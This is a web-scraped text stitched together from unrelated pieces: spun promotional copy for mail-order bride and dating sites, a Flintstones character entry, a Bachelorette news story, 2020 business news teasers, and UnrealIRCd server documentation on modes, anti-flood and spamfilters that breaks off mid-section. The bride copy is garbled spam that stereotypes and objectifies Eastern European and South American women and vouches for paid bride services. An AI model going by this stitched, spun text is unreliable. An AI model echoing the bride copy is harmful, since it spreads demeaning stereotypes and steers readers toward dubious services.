Laura Tong is right here to show charmdatereviews us new canine some previous tips! Russian women are always tidy, they keep fit and like to underline all their advantages in all situations and conditions. Step 3: Learn some information about the country, girl from which one you would like to meet here. And the women he recruits with his Ukrainian sister-in-law told Zong in interviews they were interested in Culove's clients not only for their money, but because they found their personal qualities more appealing than Ukrainian men's. There is such a big number of Russian singles online and you have a great choice. The second misconception is mail order brides are avaricious nasty women ready to sell their beauty to every sugar daddy." This is not true also, as many international brides earn enough money, and their primary goals are to find an equal partner and build a strong family based on love and mutual respect.
They are also able to provide for their wives and family and allow them to have a comfortable life without financial stress typical of living in an Eastern European country. EMG Mail, Live Chat, CamShare, and Call Service are all products that need to be paid for by purchasing credits, but they are affordable to the everyday user to help form the lasting relationship you have dreamed about. On legit mail order bride sites, you only pay for the means of communication with girls. CharmDate reviews claim this dating website has more benefits than flaws. Expensive: You will have to pay a lot of money if you are using traditional mail order services directly in Ukraine.
Alk a lot about smart girls, but if initially her appearance and behavior do not excite the desire in a man to possess her, then with such a woman a man will be unhappy. Generally, it is a woman who creates a profile on dating sites in order to find a husband from another country (USA, UK, Canada, Australia etc.). Women like that are ready for relationship and marriage and donвЂt hide their intentions. A background styling for international fashion publications, lead designer Donatelle Godart to design her namesake label for brides-to-be. In response, I always force myself to smile and politely say that no, I was not a mail-order bride.
On average, Taiwanese men spend USD $10,000 on this type of marriage; however, only USD $500 to USD $1,000 dollars will be received by the bride's family and the remainder taken by marriage brokers of the groom and the bride. Of course, nobody is safe from such scamming, but this is not a specifically Ukrainian thing." On the contrary, most Ukrainian women are brought up with sincere respect to the institute of marriage and treat it with utmost seriousness. You can send flowers or other real-life gifts to women you met online, or even take is as far as arranging a meeting in real life. Do not pursue women who are not enthusiastic in sharing their time, thoughts, attention, heart, and life with you.
For those interested in body type, you'll want to see a full-body photograph of the person or else you may be surprised when you meet them in person and they are 300 pounds. For those who are looking to settle down with a Russian woman, this the best place to go to. I found the most fabulous Russian woman in the world, and she is my life partner. But seriously, when you're dating online , don't allow yourself to fall into the trap of building an online relationship. Meanwhile, competition for brides from China, where men also outnumber women, is fierce. Many large mail order brides services are not limited to placing their clients' profiles only in their card files or on the Internet site, but publish printed, often colored, on good glossy paper, women's marriage catalogs, posting questionnaires and photos of their clients in them.
Thus, most Ukraine brides you will meet will have at least one degree. Before you start your online dating journey, looking for beautiful Ukrainian women and contemplating about marriage, you need to analyze yourself first. Such a Russian woman for marriage as a pilot of the aircraft – because it is really the highest aerobatics. And, obviously, Russian ladies are stunningly beautiful. While online dating for women is largely about showing off who you are, it requires relaying information in a way men can easily process. Still, there are more Ukrainian women characteristics to charm you for life. A smart man realizes how much time he is saved by professional dating service employees in the process of looking for a wife.
South American women are very hot and loyal at the same time, which makes them ideal lifetime partners. A couple of letters or calls a week is enough if a bride tells you that a Russian bride is often busy. No woman dreams about the marriage and family so much as the Russian one does. Each of the girls on the websites identical to LadaDate makes her data available voluntarily. An online dating platform has been spanked by the Competitions and Markets Authority as the UK government issued love match websites an etiquette guide for fair play. But what is common among lots of brides are big wide eyes, plumb lips, beautiful long hair and an average height of 170 sm.

Blowhard Sandstone is Fred Flintstone's rival, a bowling champion and a one-time character of the episode, "Barney the Invisible", featured in the third season of the original series, The Flintstones.
Blowhard is an obnoxiously boastful and arrogant man who never loses a game in his life and seems to have some sort of bad luck "hex" over his rival, Fred Flintstone.
Physical Appearance
Blowhard is a stout caveman with fair skin, tan stubbles, a bald head with two tufts and two strands of black hair, a triangular-shaped nose and thick black moon-shaped eyebrows. He wears a plum purple loin cloth with a black bow-tie.

On Feb. 13, 2017, Jimmy Kimmel made it public that Rachel Lindsay would become the first black bachelorette in the history of the show. The Bachelorette has always been white for 12 seasons straight.
"I think that it's a step in the right direction and it is really good for the bachelor/bachelorette to start becoming more diverse," sophomore Shelby Wasserman said.
With Rachel Lindsay still remaining in the current season of the Bachelor, this reveal was unusual.
"It makes it hard to cheer on someone who you know won't ultimately win," junior Sydney Miller said.
This reveal was done with the help of the show's host, Chris Harrison, by mocking the shows dramatic reveals. Harrison brought out the show's trademark, the rose, and dramatically asked Kimmel if he was prepared to hear who the new Bachelor was. This relates to Harrison's usual deep talks shown right before the Bachelor or Bachelorette is forced to choose who to give their final rose to. After a few minutes of anticipation Kimmel announces Lindsay to be the bachelorette.
She was approached soon after she was sent home from Nick's season of the Bachelor. She thought the show was only trying to mend her broken heart at first, but soon realized the seriousness of their offer.
The fast reveal of this new bachelorette could be related to the lawsuit filed against ABC in 2012 alleging the company to be excluding people of color from the casting process. Lindsay makes ABC history for not only being the first black bachelorette, but also the first to be the lead in an ABC dating competition. In addition, she was also the first African American to receive the first impression rose from Nick on his season of the Bachelor.
"I think Rachel was there for the right reasons and deserves the same chance that Nick got at finding love," Miller said.

U.S. stock futures rose on Monday night after the major averages notched sharp monthly gains for November.
Category: Sales Management
Why today's GM news is devastating for Nikola
Our mission to make business better is fueled by readers like you. To enjoy unlimited access to our journalism, subscribe today.
From its name on down, it's clear that zero-emission vehicle startup Nikola aims to emulate Tesla's soaring trajectory. But over the past six months, Nikola's efforts to follow that blueprint have faced a series of setbacks including fraud allegations, key resignations, and a reported fraud inquiry by federal regulators.
On Monday, the headwinds grew stronger when Nikola's announced that General Motors will effectively withdraw from a planned partnership that was first announced in September. Investors had seen the deal as a huge win for Nikola, by giving it a massive jolt of credibility.
Under the proposed agreement, GM would have provided battery and fuel-cell technology to Nikola and manufactured Nikola's planned Badger electric pickup.
In exchange, GM was to take an 11% stake in Nikola, … Read the rest
Stock futures rise slightly as Wall Street is set to wrap up a historic November
The Dow has risen 12.9% so far this month, on pace for its best monthly performance since January 1987.
Hawaii seeks to be seen as a remote workplace with a view
Software engineer Raymond Berger begins his work day at 5 a.m., before the sun comes up over Hawaii.
Rising early is necessary because the company he works for is in New York City, five hours ahead of Maui, where he is renting a home with a backyard that's near the beach.
"It's a little hard with the time zone difference," he said. "But generally I have a much better quality of life."
The pandemic is giving many workers the freedom to do their jobs from anywhere. Now that Hawaii's economy is reeling from dramatically fewer tourists, a group of state officials and community leaders wants more people like Berger to help provide an alternative to relying on short-term visitors.
Coinciding with the approach of winter in other parts of the U.S., "Movers & Shakas"—a reference to the Hawaii term for the "hang loose" hand gesture—launches Sunday as a campaign … Read the rest
Biden's lead increases in Wisconsin's largest county after recount demanded by Trump campaign
After a recount in Milwaukee County — Wisconsin's largest county — President-elect Joe Biden had a net gain of 132 votes.
Biden's national coronavirus strategy is starting to take shape—and it's very different than Trump's
Congress is bracing for President-elect Joe Biden to move beyond the Trump administration's state-by-state approach to the COVID-19 crisis and build out a national strategy to fight the pandemic and distribute the eventual vaccine.
The incoming administration's approach reflects Democrats' belief that a more comprehensive plan, some of it outlined in the House's $2 trillion coronavirus aid bill, is needed to get the pandemic under control. Republicans have resisted big spending but agree additional funding is needed. With the nation on edge but a vaccine in sight, the complicated logistics of vaccinating hundreds of millions of Americans raise the stakes on the major undertaking.
"We have an incredible challenge on our hands," said Sen. Patty Murray of Washington state, which is approaching the anniversary of its first reported case of the virus last January.
A vaccine can only go so far, Murray warned, without a distribution plan. "A vaccine can … Read the rest

R.I.P. Black Friday? Pandemic, online shopping lead to thin crowds
Our mission to make business better is fueled by readers like you. To enjoy unlimited access to our journalism, subscribe today.
The major retailers wanted sparse crowds on Black Friday in this COVID-19 era. They certainly got them.
On Friday morning, only a few dozen people were lined up outside the Macy's flagship in Manhattan before it opened, compared to 15,000 or so in recent years. A nearby Aéropostale and Victoria's Secret were devoid of any customers at all at 7 a.m. And at the sprawling Newport Centre in Jersey City, N.J., across the Hudson River, it was a ghost town: not a single customer inside its Sears store, and only a smattering of shoppers at its J.C. Penney or Kohl's.
Even at the nearby Target, Best Buy and Home Depot, which were busy in comparison, the crowds were modest compared to previous years. Best Buy, … Read the rest

Former World Bank president James Wolfensohn dies at 86
James Wolfensohn, who served as the president of the World Bank for 10 years and was a guiding force for a couple of the most well-known cultural institutions in the U.S., has died. He was 86.
Wolfensohn died Wednesday at his home in Manhattan according to the Institute for Advanced Study, where he had been a past chair of the board. His son and one of his two daughters also confirmed his death in media reports.
Wolfensohn, born in Australia, worked on Wall Street for many years before taking over as the head of the World Bank, a loan-offering global development organization, in 1995. He was nominated by then-President Bill Clinton.
In his time there, he took on issues like corruption in the organization's development projects, and emphasized paying attention to the needs and priorities of the countries doing the projects.
He was also a lover of the arts, serving … Read the rest

If you were just looking for a small list of features then have a look at the About UnrealIRCd article instead.
Below we will explain a number of features in-depth. If you are still in the process of getting your UnrealIRCd server up and running then we recommend you to only quickly glance over them. Once your server is up and running you may want to read this section more in depth, or just use it as a reference when you want to find out more about a feature.
- 1 Modules
- 2 Authentication
- 3 Cloaking
- 4 Remote includes
- 5 Snomasks
- 6 Aliases
- 7 Helpop
- 8 IRCOp access control
- 9 IRCOp commands
- 11 IPv6
- 12 Anti-flood features
- 13 Extended bans
- 14 User modes
- 15 Channel modes
- 16 Spamfilter
- 18 Nick Character Sets
- 19 WebSocket Support
- 20 WebIRC Support
- 21 Time synchronization
- 22 Authentication types
With UnrealIRCd 4 we moved a lot of functionality into separate modules (150+ of them!). Most channel modes, user modes and all extended bans are in modules now.
- Makes it possible to fully customize what exact functionality you want to load
- For coders it's easier to see all the source code related to a specific feature
- Allows bugs to be fixed without needing to restart the IRCd. Just rehash to reload the module(s).
Loading modules[edit]
For more information on how to load modules, see the Loadmodule directive.
If you just want to load all available modules (and thus all functionality) contained in UnrealIRCd, then put this in your unrealircd.conf:
include "modules.default.conf";
Available modules[edit]
UnrealIRCd has over 150 modules. Which module to load to enable/disable a certain feature is mentioned in the appropriate article:
Additionally, you may want to take a look at modules.default.conf as well.
UnrealIRCd allows users to authenticate to their services account before they are online. This also means you can require authentication so unauthenticated users cannot enter the server. This can be done selectively (eg: only certain IP addresses, only TOR proxy users, etc.) or simply for everyone (if you want a closed chat server).
Read more on authentication here
Cloaking is a way to hide the real hostname of users on IRC. For example if your real host is d5142341.cable.wanadoo.nl then without cloaking a join will look like this:
*** User (~email@example.com) has joined #test
With cloaking enabled users will see:
*** User (~email@example.com) has joined #test
As you can see the host is cloaked (disguised, partially hidden) so other people don't get to see your real hostname nor your IP. This feature is useful to prevent users from flooding/attacking each other, they can't flood the other party without knowing their real host/IP. The host is not just cloaked in JOIN's, it's also hidden in PART, WHOIS, etc.. every command that would otherwise have exposed your real host or IP to another user.
Cloaking is controlled by usermode +x (like: /mode yournick +x). Normally admins force +x to be enabled by default (through set::modes-on-connect).
A cloaked host is generated by a cloaking module. You must load at least one cloaking module, but don't worry about it too much as the default modules.default.conf (that almost everyone uses) will load the default cloaking module shipped with UnrealIRCd. It's also possible to use another cloaking algorithm created by a 3rd party.
The cloaking algorithm requires (secret) cloaking keys to be set, see set::cloak-keys for more information.
Cloak keys MUST be the same on ALL SERVERS in a network. Also cloak keys must be kept secret because it's possible to decode (or rather: brute force) the original host when you know the keys, doing so would make the whole point of cloaking useless.
Note that while cloaking protects the individual from having the IRC server expose the IP/hostname of the user, there are still plenty of other ways for a user to expose his/her IP. For example, if you ask a user to surf to a website under your own control, and the user does this, you could then check the log file of your web server to see the users' IP.
Remote includes[edit]
Remote includes are a great way of sharing your configuration settings between servers, ideal for multi-server IRC networks. You simply put your (shared) configuration files on a secure location, like a trusted web server and IRC servers will load it from there when they startup or /REHASH. Remote includes support https and many other protocols.
Read more on remote includes here
Snomasks are server notice masks. It's a special type of user mode that controls which server notices you will receive. Only IRCOps can set snomasks.
It can be set by: /MODE yournick +s SNOMASK, for example: /MODE yournick +s +cF. To remove certain snomasks, use something like: /MODE yournick +s -c, or to remove all snomasks use /MODE yournick -s.
The current available snomasks are:
|Messages from the DNS blacklist module
|Local connects
|Rejected DCC's due to Deny dcc blocks
|Far connects (from other servers, except from U-lines like Services)
|flood notices
|kill notices
|'eyes' notices - a bit verbose (?)
|Junk notices (noisy, possibly harmless things, mostly for debugging)
|VHOST usage
|GLINE and SHUN usage
|Local nick changes
|Remote nick change notices
|Deny nick (QLINE) rejection notices
|Receives server notices (includes the most important messages)
|Spamfilter hits
|Oper-up notices (/OPER usage)
You can control which snomasks IRCOps receive by default via set::snomask-on-oper, or in specific oper blocks via oper::snomask.
With aliases you can configure server-side alias commands. You can for example let /NS IDENTIFY blah be forwarded to NickServ. UnrealIRCd will then convert that command to be like /MSG NickServ IDENTIFY blah. You can even make more complex aliases: for example have the /REGISTER command forward the message to ChanServ if the first parameter begins with a # and forwarded it to NickServ if it doesn't.
Aliases are configured in the Alias block.
Note that UnrealIRCd comes with a decent set of default aliases for anope, atheme and other IRC Services. See the Commonly included files section.
UnrealIRCd has a built-in help system which can be used on IRC. It is intended as a quick-reference for commands and user and channel modes. It's configured through the Help block.
For example when you type /HELPOP CHMODES on IRC you will get an overview of all channel modes UnrealIRCd has. To see the index of all help commands run /HELPOP without parameters.
IRCOp access control[edit]
In UnrealIRCd you can very precisely specify which rights you want to grant or deny to an IRCOp. You do this via a combination of the Operclass block and the Oper block.
IRCOp commands[edit]
UnrealIRCd comes with a lot of commands for IRCOp's to combat security threats, abusive users and manage things. They are listed under User & Oper commands in this wiki or you can see a list on IRC via the Helpop system by executing /HELPOP OPERCMDS.
SSL stands for Secure Socket Layer. Later this has been renamed to TLS (Transport Layer Security) but most people still call it SSL.
Why use SSL[edit]
When you use SSL for a connection then all the traffic between the two endpoints is encrypted. Nobody can see/sniff/snoop the data (theoretically, anyway). This is important as IRC traffic often includes things like passwords and other sensitive information.
You probably see https:// sites on the internet all the time. HTTPS is simply HTTP with SSL and it's used for banking, e-commerce sites and nowadays a lot of regular sites as well. The same technology (SSL) can be used for IRC.
How to use SSL[edit]
To use SSL on IRC you need two things:
- An SSL port needs to be opened up on the server. The example configuration file opens up port 6697 for this (in the Listen block with listen::options::ssl)
- You need an SSL-capable client
SSL-capable clients are widespread nowadays. mIRC, XChat, irssi all support SSL.
The UnrealIRCd team recommends to use SSL/TLS as much as possible. At the very least, use it to secure server to server traffic and for IRCOp client connections.
For real security you should validate certificates when you connect to servers and not blindly accept any SSL ceritificate. If you don't check them then you are still vulnerable to MitM attacks. That is, however, too off-topic to discuss here. See Wikipedia: Man-in-the-middle-attack for more background information. Clients like mIRC and XChat will show a popup prompt when a new (unknown) SSL certificate is detected.
UnrealIRCd makes use of the "dual IP stack" of your system, meaning it can listen on both IPv4 and IPv6 addresses. UnrealIRCd is always built with IPv6 support. To actually use IPv6 you'll need an IPv6 address on your machine.
Anti-flood features[edit]
Set block[edit]
In the configuration file in the set block you can configure a lot of the anti flood features. Note that UnrealIRCd already ships with good defaults, but you can change them if you wish.
There are many settings available in the set::anti-flood block, such as set::anti-flood::connect-flood to only allow X connections per YY seconds from the same IP. Other X per Y time settings are: nick-flood, join-flood, away-flood, invite-flood and knock-flood.
The option set::anti-flood::unknown-flood-amount is used to limit the amount of data in the handshake (rarely changed, default is a few KB's).
set::anti-flood::max-concurrent-conversations limits the number of concurrent conversions a user can have, which is another anti-flood feature so a user cannot /MSG tens of users at the same time.
set::max-targets-per-command limits the number of targets the user can specify in a command (eg: JOIN 3 channels at the same time via
JOIN #a,#b,#c).
Again, the default settings are probably fine for you already, as we focus on security and do our best to have tight but good defaults.
DNS Blacklists[edit]
While technically not an anti-flood feature, it definitely helps against unwanted bots/drones/users. By using one or more blacklist blocks you can have UnrealIRCd check a DNSBL service to see if an IP was blacklisted due to abuse. This is highly recommended for a server on the internet. See the example section there.
This module is highly effective against bot/drone attacks. It will reject most "bad" connections, while still allowing most of your regular users in.
When the connthrottle module in UnrealIRCd detects a high number of users connecting from IP addresses that have not been seen before, then connections from new IP's are rejected above the set rate. For example at 10:60 only 10 users per minute can connect that have not been seen before. Known IP addresses (so: your regular users) can always get in, regardless of the set rate. Same for users who login using SASL.
This module was added in UnrealIRCd 4.2.3. At the time of writing (June 2019) it is not yet loaded by default, but this will change later in 2019.
With the antirandom module you can block random nicks like 'fhdshfdhf'.This module is not enabled by default because it may catch innocent users for non-English languages, especially for non-Western-European languages.
Channel modes[edit]
There are also some channel modes which can be very effective against floods. To name a few:
- N: no nick changes
- C: no CTCP's
- M: only registered users may talk
- K: no /KNOCK allowed
There is also the very advanced channel mode +f, see next.
Channel mode f[edit]
Instead of using scripts and bots to protect against channel floods it is now build into the ircd. An example +f mode is:
*** Blah sets mode: +f [10j]:15
This means 10 joins per 15 seconds are allowed in the channel, if the limit is hit, the channel will be set +i (Invite only) automatically.
The following floodtypes are available:
|Default action
|Other actions
|Set channel mode +C (block all CTCP's)
|m, M
|Set channel mode +i (invite only)
|Set channel mode +K (no /knock's)
|Counted for local clients only
|Set channel mode +m (regular users cannot speak)
|nick changes
|Set channel mode +N (no nick-changes permitted)
|Kick the user
|Unlike all the rest, these are per-user message/notice limits. Action is to kick or kick+ban the user.
*** ChanOp sets mode: +f [20j,50m,7n]:15 <ChanOp> lalala *** Evil1 (~firstname.lastname@example.com) has joined #test *** Evil2 (~email@example.com) has joined #test *** Evil3 (~email@example.com) has joined #test *** Evil4 (~firstname.lastname@example.com) has joined #test -- snip XX lines -- *** Evil21 (~firstname.lastname@example.com) has joined #test -server1.test.net:#test *** Channel joinflood detected (limit is 20 per 15 seconds), putting +i *** server1.test.net sets mode: +i <Evil2> fsdjfdshfdkjfdkjfdsgdskjgsdjgsdsdfsfdujsflkhsfdl <Evil12> fsdjfdshfdkjfdkjfdsgdskjgsdjgsdsdfsfdujsflkhsfdl <Evil15> fsdjfdshfdkjfdkjfdsgdskjgsdjgsdsdfsfdujsflkhsfdl <Evil10> fsdjfdshfdkjfdkjfdsgdskjgsdjgsdsdfsfdujsflkhsfdl <Evil8> fsdjfdshfdkjfdkjfdsgdskjgsdjgsdsdfsfdujsflkhsfdl -- snip XX lines -- -server1.test.net:#test *** Channel msg/noticeflood detected (limit is 50 per 15 seconds), putting +m *** server1.test.net sets mode: +m *** Evil1 is now known as Hmmm1 *** Evil2 is now known as Hmmm2 *** Evil3 is now known as Hmmm3 *** Evil4 is now known as Hmmm4 *** Evil5 is now known as Hmmm5 *** Evil6 is now known as Hmmm6 *** Evil7 is now known as Hmmm7 *** Evil8 is now known as Hmmm8 -server1.test.net:#test *** Channel nickflood detected (limit is 7 per 15 seconds), putting +N *** server1.test.net sets mode: +N
In fact, it can get even more advanced/complicated:
Instead of the default action, you can for some floodtypes specify another one, for example: +f [20j#R,50m#M]:15
This will set the channel +R if the joinlimit is reached (>20 joins in 15 seconds), and will set the channel +M if the msg limit is reached (>50 messages in 15 seconds).
There's also a "remove mode after X minutes" feature: +f [20j#R5]:15 will set the channel +R if the limit is reached and will set -R after 5 minutes.
A server can have a default unsettime (set::modef-default-unsettime), so if you type +f [20j]:15 it could get transformed into +f [20j#i10]:15, it's just a default, you can still set [20j#i2]:15 or something like that, and you can also disable the remove-chanmode completely by doing a +f [20j#i0]:15 (an explicit 0).
What the best +f mode is heavily depends on the channel... how many users does it have? do you have a game that makes users msg a lot (eg: trivia) or do users often use popups? is it some kind of mainchannel or in auto-join? etc..
There's no perfect channelmode +f that is good for all channels, but to get you started have a look at the next example and modify it to suit your needs:
+f [30j#i10,40m#m10,7c#C15,10n#N15,30k#K10]:15
- 30 joins per 15 seconds, if limit is reached set channel +i for 10 minutes
- 40 messages per 15 seconds, if limit is reached set channel +m for 10 minutes
- 7 ctcps per 15 seconds, if limit is reached set channel +C for 15 minutes
- 10 nickchanges per 15 seconds, if limit is reached set channel +N for 15 minutes
- 30 knocks per 15 seconds, if limit is reached set channel +K for 10 minutes
If it's some kind of large user channel (>75 users?) you will want to increase the join sensitivity (to eg: 50) and the message limit as well (to eg: 60 or 75).
Especially the remove-mode times are a matter of taste.. you should think like.. what if no op is available to handle the situation, do I want to have the channel locked for like 15 minutes (=not nice for users) or 5 minutes (=likely the flooders will just wait 5m and flood again). It also depends on the floodtype, users unable to join (+i) or speak (+m) is worse than having them unable to change their nick (+N) or send ctcps to the channel (+C) so you might want to use different removal times.
Extended bans[edit]
Extended Bans are a special type of bans (+b), exempts (+e) and invite exceptions (+I) providing "extended" functionality.
These bans start with a tilde, followed by a letter denoting the extban type. For example +b ~q denotes a quiet extban. UnrealIRCd comes with a number of built-in extbans (loaded through Modules). 3rd party modules may introduce even more types.
The following ban type can be used in front of any (ext)ban:
|Timed ban that will make a ban unset after the specified number of minutes.
NOTE: This module is not loaded by default, you need to load it explicitly via
loadmodule "extbans/timedban"; in your unrealircd.conf.
|+b ~t:3:*!*@hostname
The following ban types specify which actions (join, nick-change or speaking) are affected by a ban:
|People matching these bans can join but are unable to speak, unless they have +v or higher.
|+b ~q:*!*@*.blah.com
|People matching these bans cannot change nicks, unless they have +v or higher.
|+b ~n:*!*@*.aol.com
|When a user matches this (s)he may not join the channel but if already in the channel then all activities are permitted such as speaking or changing the nick. This can be useful to ban an entire ISP and then manually /INVITE people to the channel so once joined they can behave as normal.
|+b ~j:*!*@*.aol.com
|Bypass message restrictions. This extended ban is only available as +e and not as +b. Syntax: +e ~m:type:mask.
Valid types are: external (bypass +n), moderated (bypass +m/+M), censor (bypass +G), color (bypass +S/+c) and notice (bypass +T).
|+e ~m:moderated:*!*@192.168.*
+e ~m:external:*!*@192.168.*
These bantypes introduce new criteria which can be used:
|If a user is logged in to services with this account name, then this ban will match. This is slightly different than ~R, in the sense that a user with nick ABC may be logged in under account XYZ. Not all services packages support this, in which case you will have to use ~R instead.
|+e ~a:SomeAccount
+I ~a:SomeAccount
|If the user is in this channel then (s)he is unable to join. A prefix can also be specified (+/%/@/&/~) which means that it will only match if the user has that rights or higher on the specified channel.
|+b ~c:#lamers
+e ~c:@#trustedops
|If the user is an IRCOp and the oper::operclass matches this name then the ban/invex will match. You can use this to for example create *admin* only channels.
|+iI ~O:*admin*
|If the realname (gecos) of a user matches this then (s)he is unable to join. Since real names may contain spaces you can use a underscore to match a space (and underscore)
|+b ~r:*Stupid_bot_script*
|If a user has identified to services for this nick then this ban will match. This means this ban is generally only useful for ban exemptions (+e) and invite exceptions (+I).
|+e ~R:Nick
+I ~R:Nick
|When a user is using SSL/TLS with a client certificate then you can match the user by his/her SSL fingerprint (the one you see in /WHOIS). Useful for ban exemptions (+e) and invite exceptions (+I).
|+e ~S:0000000etc
+I ~S:0000000etc
|Channel-specific text filtering. Supports two actions: 'censor' and 'block', see examples on the right.
NOTE: This module is not loaded by default, you need to load it explicitly via
loadmodule "extbans/textban"; in your unrealircd.conf.
|+b ~T:censor:*badword*
+b ~T:block:*something*
You may also stack extended bans from the 2nd group with the 3rd group. For example: +b ~q:~c:#lamers would quiet all users who have joined #lamers.
Ban types from the 3rd group can be used in invite exceptions (+I). For example you can put the channel +i and then use +I ~c:#trusted and/or +I ~a:accountname.
User modes[edit]
|User mode
|Marks you as being a bot. This will add a line to /WHOIS so people can easily recognize bots.
|Makes it so you can not receive channel PRIVMSG's, except for messages prefixed with a set::channel-command-prefix character. Could be used by bots to reduce traffic so they only see !somecmd type of things.
|Makes it so you can not receive private messages (PM's) from anyone except IRCOps, servers and services.
NOTE: This module is new in 4.0.10 and is NOT loaded by default.
|Swear filter: filters out all the "bad words" configured in the Badword block
|Hide IRCop status. Regular users using /WHOIS or other commands will not see that you are an IRC Operator.
|Hide online time in /WHOIS.
|Makes you so called 'invisible'. A confusing term to mean that you're just hidden from /WHO and /NAMES if queried by someone outside the channel. Normally set by default through set::modes-on-connect (and otherwise by the users' IRC client).
|IRC Operator
|Set by server
|Hide channels you are in from /WHOIS, for extra privacy.
|Unkickable (only by U:lines, eg: services)
|IRCOp-only (but not all)
|Indicates this is a "registered nick"
|Set by services
|Only receive private messages from users who are "registered users" (authenticated by Services)
|User is a services bot (gives some extra protection)
|Server notices, see Snomasks
|Mostly IRCOp-only
|Prevents you from receiving CTCP's.
|Indicates you are using a /VHOST
|Set by server upon /VHOST, /OPER, /*HOST, ..
|Lets you see when people do a /WHOIS on you.
|Can listen to wallops messages (/WALLOPS from IRCOps')
|Gives you a hidden / cloaked hostname.
|Allows only users on a secure connection to send you private messages/notices/CTCPs. Conversely, you can't send any such messages to non-secure users either.
|Indicates you are connected via SSL/TLS
|Set by server
Channel modes[edit]
Access levels[edit]
These are the modes that grant a certain 'level' to a user.
|Channel mode
|Voice. This makes the user able to speak in +m/+M channels. User can also still speak if banned.
|May be set by +hoaq users
|Half-Op. Gives some of the usual channel operator rights, but not all. They are basically a light version of channel ops.
|May be set by +oaq users
|Channel Op. This is the channel operator privilege everyone knows about, allows the user to do almost all administrative tasks in a channel such as /KICK, /MODE, etc..
|May be set by +oaq users
|Channel Admin. A level above channel ops but with no special extra privileges except for one: people below chanadmin (so +h/+o) cannot KICK +a people.
|May be set by +q users
|Channel Owner. The highest level. Channel owners can't be kicked by any level below. Usually there's only one person with +q and the mode is set by services.
|Normal users can't set this
Note that often Services are used to manage +vhoaq lists in so called "access lists" or AOP/HOP/etc. Consult your services documentation.
IRCOp's with OperOverride privileges may also set +vhoaq, same for IRCOp's with access to the /SAMODE command.
List modes[edit]
These are so called 'list modes'.
|Channel mode
|Ban. Prevents a user from joining the channel.
|Requires +h or higher
|Ban exception. When a user is banned (due to +b) and they are on this +e list then they may still join the channel.
|Requires +h or higher
|Invite exception. When the channel is +i (invite only) then people on this list may still join the channel.
|Requires +h or higher
All these modes take a nick!user@host parameter, like: +b *!*@*.isp.com. See also Extended bans for other syntaxes (eg: +e ~c:@#channel).
Channel settings[edit]
These are channel modes that configure channel settings.
|Channel mode
|No color allowed in the channel. Will block ANSI and mIRC color codes.
|Requires +o or higher
|No CTCP's allowed in the channel.
|Requires +o or higher
|Delays someone's JOIN message until that person speaks. Chanops and higher, opers and ulines/services are exempt.
|Requires +o or higher
|When unsetting +D, Unreal needs to process all remaining delayed users (i.e. invisible in the channel to regular users) to make them JOIN. +d is an intermediate/temporary mode to facilitate this and will be unset once all users are properly "joined".
|Set by server
|Flood protection. This is a highly advanced feature, see Anti-flood features#Channel_mode_f
|Requires +o or higher
|Filter out bad words configured in Badword block
|Requires +o or higher
|Invite only. Requires people to be /INVITE'd to the channel or be on the +I (Invite Exceptions) list (for that latter, see the List modes section above)
|Requires +o or higher
|Require users to specify a channel key in order to join (/JOIN #chan key). Example: +k secret
|Requires +h or higher
|/KNOCK command is not allowed.
|Requires +o or higher
|Channel link. If the +l user limit (see below) is reached then users will automatically be redirected to this channel. Example: +L #something
|Requires +h or higher
|Limit the amount of users that may be in the channel. If the limit is reached then any new JOIN's are rejected (see also +L above).
|Requires +o or higher
|Moderated channel. Only people with +v or higher (+vhoaq) may speak.
|Requires +h or higher
|Must be authenticated to services or have +v or higher to speak.
|Requires +o or higher
|No nick-changes permitted. Normally not set, only during a a nick-flood flood attack.
|Requires +o or higher
|No external messages. If you don't set +n then users outside the channel may still send messages to it. Thus, almost everyone will set their channel +n.
|Requires +h or higher
|IRC Operator only channel
|Permanent channel. After all users leave a channel it is normally destroyed. If you set +P then this won't happen and all settings are preserved.
|Private channel
|Requires +o or higher
|No /KICK allowed. Can be used to force all chanops to use Services for kicking. Unusual, but possible.
|Requires +o or higher
|Only registered users may join the channel. Registered users are users authenticated to Services.
|Requires +o or higher
|Channel is registered at Services
|Set by services
|Secret channel. The channel won't show up in /LIST and won't show up in /WHOIS (unless you are in the same channel or an IRCOp)
|Requires +o or higher
|Strip color codes. This removes any mIRC or ANSI color codes by converting it to regular text.
|Requires +o or higher
|Channel notices are not permitted (/NOTICE #chan hi!). On many clients a beeping sound will happen on notices, hence why this mode is sometimes set.
|Requires +o or higher
|Restricts /TOPIC to +h or higher. Without +t anyone in the channel may set the topic. Most channels are +t.
|Requires +h or higher
|/INVITE is not permitted.
|Requires +o or higher
|Only clients which are connected through SSL/TLS may join the channel
|Requires +o or higher
|Indicates that only people who are using SSL/TLS are on the channel. This channel mode is (only) set by the server when the channel is also +z and everyone on the channel is connected via SSL.
|Set by server
Spamfilter is a highly advanced system to fight spam, advertising, worms and other bad things on IRC. Spamfilters can be added through the /SPAMFILTER command or through spamfilter { } blocks in the configuration file.
SPAMFILTER command[edit]
On IRC spamfilters are added via the /SPAMFILTER command which uses the following syntax:
/spamfilter [add|del] [match-type] [target] [action] [tkltime] [reason] [match string]
|Explanation & possible options
|add / del
|Indicates if you want to add or remove a spamfilter
|The type of match string you're going to use (see also the examples later on). Right now you have two / three choices:
|specifies the target type, the targets this spamfilter will look into:
You can (and often will) specify multiple targets, like: cpNn
|specifies the action to be taken, such as kline. See Actions for a list of all possible actions.
|The duration of the *line/shun added by the filter, use '-' to use the default or to skip (eg: if action = 'block')
|Block/*line/shun reason.. you CANNOT use spaces in this, but underscores ('_') will be translated into spaces at runtime. And double underscore ('__') gets an underscore ('_'). Again, use '-' to use the default reason.
|This is the actual string that should be blocked or that we should perform the specified action on. The syntax of this string depends on the match-type. See also examples below.
Spamfilter block[edit]
You can also put spamfilters in your configuration file, see the Spamfilter block. For information about each of the fields see above.
Block simple spam[edit]
Say, you see a user mass-spamming in channels and in PM (Private Message). In each case, the user is saying: Hey <NICK>, come watch me on my webcam! connect to http://184.108.40.206:80/. It looks always like that, except for a varying IP/URL. You want any user who says this to be immediately GLINEd for 1 day.
On IRC:
/SPAMFILTER add -simple pc gline 1d You_are_spamming_or_you_have_a_virus! *Hey*come watch me on my webcam*
Or in the configuration file:
spamfilter { match-type simple; target { private; channel; }; action gline; ban-time 1d; reason "You are spamming or you have a virus!"; match "*Hey*come watch me on my webcam*"; };
Regex to block mIRC exploit[edit]
Regular expressions (regex) are much more powerful than the simple method. Several years ago mIRC had a bug: you could crash any mIRC v6.12 by sending a DCC SEND message with a filename of 225 (or more) characters. With the simple method from above you can't block this, with regex you can. For regex this is even an easy case.
On IRC:
